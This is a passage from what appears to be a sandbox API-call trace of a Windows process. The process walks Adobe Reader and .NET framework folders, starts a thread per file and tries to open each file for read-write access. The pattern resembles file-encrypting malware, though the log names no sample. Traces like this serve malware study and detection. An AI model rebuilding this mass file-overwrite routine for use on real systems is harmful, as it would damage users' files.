files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1033.mst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.397] GetLastError () returned 0x5 [0153.397] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1033.mst", dwFileAttributes=0x21) returned 0 [0153.398] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd318) returned 1 Thread: id = 3305 os_tid = 0x930 [0153.084] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml")) returned 0x20 [0153.410] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml", dwFileAttributes=0x20) returned 0 [0153.410] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.410] GetLastError () returned 0x5 [0153.410] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml", dwFileAttributes=0x20) returned 0 [0153.410] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938cb8) returned 1 Thread: id = 3306 os_tid = 0xa40 [0153.088] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml")) returned 0x20 [0153.411] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml", dwFileAttributes=0x20) returned 0 [0153.411] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\subsetlist\\client.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.411] GetLastError () returned 0x5 [0153.411] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml", dwFileAttributes=0x20) returned 0 [0153.412] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c71c0) returned 1 Thread: id = 3307 os_tid = 0xa44 [0153.090] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xae) returned 0x8f45a8 [0153.090] wcscpy (in: _Dest=0x8f45a8, _Source="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" [0153.090] wcscat (in: _Dest=0x8f45a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\" [0153.091] wcscat (in: _Dest=0x8f45a8, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*" [0153.091] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b9b90 [0153.091] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", lpFindFileData=0x9b9b90 | out: lpFindFileData=0x9b9b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9424f0 [0153.091] wcscmp (_String1=".", _String2=".") returned 0 [0153.091] FindNextFileW (in: hFindFile=0x9424f0, lpFindFileData=0x9b9b90 | out: lpFindFileData=0x9b9b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.091] wcscmp (_String1="..", _String2=".") returned 1 [0153.091] wcscmp (_String1="..", _String2="..") returned 0 [0153.091] FindNextFileW (in: hFindFile=0x9424f0, lpFindFileData=0x9b9b90 | out: lpFindFileData=0x9b9b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0153.091] wcscmp (_String1="x64", _String2=".") returned 1 [0153.091] wcscmp (_String1="x64", _String2="..") returned 1 [0153.091] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb2) returned 0xd4c6e00 [0153.091] wcscpy (in: _Dest=0xd4c6e00, _Source="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" [0153.091] wcscat (in: _Dest=0xd4c6e00, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\" [0153.091] wcscat (in: _Dest=0xd4c6e00, _Source="x64" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64" [0153.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4c6e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1318 [0153.513] FindNextFileW (in: hFindFile=0x9424f0, lpFindFileData=0x9b9b90 | out: lpFindFileData=0x9b9b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0153.513] FindClose (in: hFindFile=0x9424f0 | out: hFindFile=0x9424f0) returned 1 [0153.513] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b9b90) returned 1 [0153.513] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f45a8) returned 1 [0153.513] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4ab0) returned 1 Thread: id = 3308 os_tid = 0x93c [0153.093] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\eula.ini")) returned 0x20 [0153.093] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", dwFileAttributes=0x20) returned 0 [0153.093] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.094] GetLastError () returned 0x5 [0153.094] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", dwFileAttributes=0x20) returned 0 [0153.094] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e75f8) returned 1 Thread: id = 3309 os_tid = 0x758 [0153.097] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html")) returned 0x20 [0153.098] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", dwFileAttributes=0x20) returned 0 [0153.098] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.098] GetLastError () returned 0x5 [0153.098] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", dwFileAttributes=0x20) returned 0 [0153.098] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab980) returned 1 Thread: id = 3310 os_tid = 0x75c [0153.099] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0200 [0153.099] wcscpy (in: _Dest=0x8d0200, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" [0153.099] wcscat (in: _Dest=0x8d0200, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\" [0153.099] wcscat (in: _Dest=0x8d0200, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*" [0153.099] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b7eb0 [0153.099] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*", lpFindFileData=0x9b7eb0 | out: lpFindFileData=0x9b7eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9421f0 [0153.099] wcscmp (_String1=".", _String2=".") returned 0 [0153.100] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x9b7eb0 | out: lpFindFileData=0x9b7eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.100] wcscmp (_String1="..", _String2=".") returned 1 [0153.100] wcscmp (_String1="..", _String2="..") returned 0 [0153.100] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x9b7eb0 | out: lpFindFileData=0x9b7eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0153.100] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0153.100] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0153.100] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e75f8 [0153.100] wcscpy (in: _Dest=0x8e75f8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" [0153.100] wcscat (in: _Dest=0x8e75f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\" [0153.100] wcscat (in: _Dest=0x8e75f8, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini" [0153.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e75f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1448 [0153.515] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x9b7eb0 | out: lpFindFileData=0x9b7eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc490, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0153.515] wcscmp (_String1="license.html", _String2=".") returned 1 [0153.515] wcscmp (_String1="license.html", _String2="..") returned 1 [0153.515] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9aad08 [0153.515] wcscpy (in: _Dest=0x9aad08, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" [0153.515] wcscat (in: _Dest=0x9aad08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\" [0153.515] wcscat (in: _Dest=0x9aad08, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" [0153.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9aad08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1314 [0153.516] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x9b7eb0 | out: lpFindFileData=0x9b7eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc490, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0153.516] FindClose (in: hFindFile=0x9421f0 | out: hFindFile=0x9421f0) returned 1 [0153.516] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b7eb0) returned 1 [0153.517] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0200) returned 1 [0153.517] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0a00) returned 1 Thread: id = 3311 os_tid = 0x774 [0153.102] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0580 [0153.102] wcscpy (in: _Dest=0x8d0580, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" [0153.102] wcscat (in: _Dest=0x8d0580, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\" [0153.102] wcscat (in: _Dest=0x8d0580, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*" [0153.102] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9ba530 [0153.102] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*", lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942570 [0153.103] wcscmp (_String1=".", _String2=".") returned 0 [0153.103] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.103] wcscmp (_String1="..", _String2=".") returned 1 [0153.103] wcscmp (_String1="..", _String2="..") returned 0 [0153.103] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81c9d640, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0153.103] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0153.103] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0153.103] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7958 [0153.103] wcscpy (in: _Dest=0x8e7958, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" [0153.103] wcscat (in: _Dest=0x8e7958, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\" [0153.103] wcscat (in: _Dest=0x8e7958, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini" [0154.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa84 [0154.102] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0154.102] wcscmp (_String1="license.html", _String2=".") returned 1 [0154.102] wcscmp (_String1="license.html", _String2="..") returned 1 [0154.102] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x940660 [0154.103] wcscpy (in: _Dest=0x940660, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" [0154.103] wcscat (in: _Dest=0x940660, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\" [0154.103] wcscat (in: _Dest=0x940660, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html" [0154.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1278 [0154.104] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x9ba530 | out: lpFindFileData=0x9ba530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0154.104] FindClose (in: hFindFile=0x942570 | out: hFindFile=0x942570) returned 1 [0154.104] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ba530) returned 1 [0154.104] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0580) returned 1 [0154.104] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0080) returned 1 Thread: id = 3312 os_tid = 0x690 [0153.104] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0000 [0153.104] wcscpy (in: _Dest=0x8d0000, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" [0153.104] wcscat (in: _Dest=0x8d0000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\" [0153.104] wcscat (in: _Dest=0x8d0000, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*" [0153.104] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b79e0 [0153.104] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*", lpFindFileData=0x9b79e0 | out: lpFindFileData=0x9b79e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942ab0 [0155.176] wcscmp (_String1=".", _String2=".") returned 0 [0155.176] FindNextFileW (in: hFindFile=0x942ab0, lpFindFileData=0x9b79e0 | out: lpFindFileData=0x9b79e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.176] wcscmp (_String1="..", _String2=".") returned 1 [0155.176] wcscmp (_String1="..", _String2="..") returned 0 [0155.176] FindNextFileW (in: hFindFile=0x942ab0, 